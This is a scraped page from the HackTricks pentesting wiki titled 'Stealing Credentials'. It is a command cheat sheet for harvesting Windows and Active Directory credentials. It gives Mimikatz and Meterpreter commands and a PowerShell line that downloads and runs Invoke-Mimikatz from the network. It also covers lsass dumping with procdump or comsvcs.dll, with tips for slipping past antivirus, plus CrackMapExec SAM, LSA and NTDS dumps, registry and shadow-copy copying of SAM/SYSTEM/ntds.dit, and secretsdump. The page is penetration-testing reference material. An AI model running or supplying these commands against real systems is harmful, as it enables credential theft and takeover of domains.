📘
Hacktricks
  • GitHub: Welcome to the page where you will find each trick/technique/whatev
  • About the author
  • Getting Started in Hacking
  • Pentesting Methodology
  • External Recon Methodology
  • Phishing Methodology
  • Exfiltration
  • Tunneling and Port Forwarding
  • Brute Force - CheatSheet
  • Search Exploits
  • shells
    • Shells (Linux, Windows, MSFVenom)
  • linux-unix
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
    • Useful Linux Commands
    • Linux Environment Variables
  • macos
    • MacOS Security & Privilege Escalation
  • windows
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
    • Active Directory Methodology
    • NTLM
    • Stealing Credentials
    • Authentication, Credentials, UAC and EFS
    • Basic CMD for Pentesters
    • Basic PowerShell for Pentesters
    • AV Bypass
  • mobile-apps-pentesting
    • Android APK Checklist
    • Android Applications Pentesting
    • iOS Pentesting Checklist
    • iOS Pentesting
  • pentesting
    • Pentesting Network
  • Stargazers
  • blob
    • master
      • hacktricks/LICENSE.md at master
  • network
    • Forks
  • Issues
  • Pull requests
  • Actions
  • Projects
  • GitHub: Welcome to the page where you will find each trick/technique/whatev
  • Build software better, together
  • Pulse
  • tree
    • Build software better, together
    • GitHub at 1e46f267c2ce5c79bb9a8a146f468f214419f708
    • master
      • .gitbook
        • hacktricks/.gitbook/assets at master
      • hacktricks/.github at master
      • a.i.-exploiting
        • hacktricks/a.i.-exploiting/bra.i.nsmasher-presentation at master
      • hacktricks/backdoors at master
      • hacktricks/blockchain at master
      • hacktricks/cloud-security at master
  • Branches
  • Releases
  • Commits
    • Commits
  • Commits
  • commit
    • GitBook: [master] one page modified@1e46f26
    • GitBook: [master] 3 pages and 6 assets modified@e741d40
    • Update FUNDING.yml@c7e5a37
    • GitBook: [master] one page modified@5b5b28a
    • GitBook: [master] 511 pages and one asset modified@73a4b96
Powered by GitBook
On this page
  • Credentials Mimikatz
  • Invoke-Mimikatz
  • Credentials with Meterpreter
  • Bypassing AV
  • Procdump + Mimikatz
  • Dumping lsass with comsvcs.dll
  • CrackMapExec
  • Dump SAM hashes
  • Dump LSA secrets
  • Dump the NTDS.dit from target DC
  • Dump the NTDS.dit password history from target DC
  • Show the pwdLastSet attribute for each NTDS.dit account
  • Stealing SAM & SYSTEM
  • From Registry
  • Volume Shadow Copy
  • Invoke-NinjaCopy
  • Active Directory Credentials - NTDS.dit
  • Copying NTDS.dit using Ntdsutil
  • Lazagne
  • Windows credentials Editor (WCE)
  • fgdump
  • PwDump
  • PwDump7
  • Defenses

Was this helpful?

  1. windows

Stealing Credentials

PreviousNTLMNextAuthentication, Credentials, UAC and EFS

Last updated 3 years ago

Was this helpful?

Credentials Mimikatz

privilege::debug token::elevatesekurlsa::logonpasswordslsadump::sammimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

Find other things that Mimikatz can do in .

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')Invoke-Mimikatz -DumpCreds Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"'

​ This protections could prevent Mimikatz from extracting some credentials.

Credentials with Meterpreter

Use the that I have created to search for passwords and hashes inside the victim.

post/windows/gather/smart_hashdumphashdump​load kiwicreds_allkiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam"​load mimikatzmimikatz_command -f "sekurlsa::logonpasswords"mimikatz_command -f "lsadump::sam"

Bypassing AV

Procdump + Mimikatz

As Procdump from is a legitimate Microsoft tool, it's not detected by Defender. You can use this tool to dump the lsass process, download the dump and extract the credentials locally from the dump.

Dump lsassC:\procdump.exe -accepteula -ma lsass.exe lsass.dmpnet use Z: https://live.sysinternals.comZ:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
Extract credentials from the dumpmimikatz # sekurlsa::minidump lsass.dmpmimikatz # sekurlsa::logonPasswords

Note: Some AV may detect as malicious the use of procdump.exe to dump lsass.exe, this is because they are detecting the string "procdump.exe" and "lsass.exe". So it is stealthier to pass as an argument the PID of lsass.exe to procdump instead of the name lsass.exe.

Dumping lsass with comsvcs.dll

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump  lsass.dmp full

We just have to keep in mind that this technique can only be executed as SYSTEM.

CrackMapExec

Dump SAM hashes

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Dump LSA secrets

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Dump the NTDS.dit from target DC

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

Dump the NTDS.dit password history from target DC

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

Show the pwdLastSet attribute for each NTDS.dit account

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Stealing SAM & SYSTEM

This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.

From Registry

The easiest way to steal those files is to get a copy from the registry:

reg save HKLM\sam samreg save HKLM\system systemreg save HKLM\security security

Download those files to your Kali machine and extract the hashes using:

samdump2 SYSTEM SAMimpacket-secretsdump -sam sam -security security -system system LOCAL

Volume Shadow Copy

You can perform copy of protected files using this service. You need to be Administrator.

Using vssadmin

vssadmin binary is only available in Windows Server versions

vssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAMcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEMcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit​mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

But you can do the same from Powershell. This is an example of how to copy the SAM file (the hard drive used is "C:" and its saved to C:\users\Public) but you can use this for copying any protected file:

$service=(Get-Service -name VSS)if($service.Status -ne "Running"){$notrunning=1;$service.Start()}$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID$volume=(gwmi win32_shadowcopy -filter "ID='$id'")cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Invoke-NinjaCopy

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory Credentials - NTDS.dit

The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.

The important NTDS.dit file will be located in: %SystemRoom%/NTDS/ntds.dit This file is a database Extensible Storage Engine (ESE) and is "officially" composed by 3 tables:

  • Data Table: Contains the information about the objects (users, groups...)

  • Link Table: Information about the relations (member of...)

  • SD Table: Contains the security descriptors of each object

Windows uses Ntdsa.dll to interact with that file and its used by lsass.exe. Then, part of the NTDS.dit file could be located inside the lsass memory (you can find the lastet accessed data probably because of the performance impruve by using a cache).

Decrypting the hashes inside NTDS.dit

The hash is cyphered 3 times:

  1. Decrypt Password Encryption Key (PEK) using the BOOTKEY and RC4.

  2. Decrypt tha hash using PEK and RC4.

  3. Decrypt the hash using DES.

PEK have the same value in every domain controller, but it is cyphered inside the NTDS.dit file using the BOOTKEY of the SYSTEM file of the domain controller (is different between domain controllers). This is why to get the credentials from the NTDS.dit file you need the files NTDS.dit and SYSTEM (C:\Windows\System32\config\SYSTEM).

Copying NTDS.dit using Ntdsutil

Available since Windows Server 2008.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

Once you have obtained the files NTDS.dit and SYSTEM you can use tools like secretsdump.py to extract the hashes:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

You can also extract them automatically using a valid domain admin user:

secretsdump.py -just-dc-ntlm /@

Finally, you can also use the metasploit module: post/windows/gather/credentials/domain_hashdump or mimikatz lsadump::lsa /inject

Lazagne

Windows credentials Editor (WCE)

fgdump

Extract credentials from the SAM file

You can find this binary inside Kali, just do: locate fgdump.exefgdump.exe

PwDump

Extract credentials from the SAM file

You can find this binary inside Kali, just do: locate pwdump.exePwDump.exe -o outpwdump -x 127.0.0.1type outpwdump

PwDump7

Defenses

This process is done automatically with : ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

There’s a DLL called comsvcs.dll, located in C:\Windows\System32 that dumps process memory whenever they crash. This DLL contains a function called MiniDumpW that is written so it can be called with rundll32.exe. The first two arguments are not used, but the third one is split into 3 parts. First part is the process ID that will be dumped, second part is the dump file location, and third part is the word full. There is no other choice. Once these 3 arguments has been parsed, basically this DLL creates the dump file, and dumps the specified process into that dump file. Thanks to this function, we can use comsvcs.dll to dump lsass process instead of uploading procdump and executing it. (This information was extracted from )

You can automate this process with .

Code from the book: ​

Finally, you could also use the to make a copy of SAM, SYSTEM and ntds.dit.

More information about this: ​

You could also use the trick to copy the ntds.dit file. Remember that you will also need a copy of the SYSTEM file (again, trick).

For big NTDS.dit files it's recommend to extract it using .

Download the binary from . you can use this binary to extract credentials from several software.

This tool can be used to extract credentials from the memory. Download it from: ​

Download it from: and just execute it and the passwords will be extracted.

​​

this page
Learn about some possible credentials protections here.
Credentials Plugin
SysInternals
SprayKatz
https://en.hackndo.com/remote-lsass-dump-passwords/
lssasy
https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
PS script Invoke-NinjaCopy
http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
volume shadow copy
dump it from the registry or use the volume shadow copy
gosecretsdump
here
http://www.ampliasecurity.com/research/windows-credentials-editor/
http://www.tarasco.org/security/pwdump_7
Learn about some credentials protections here.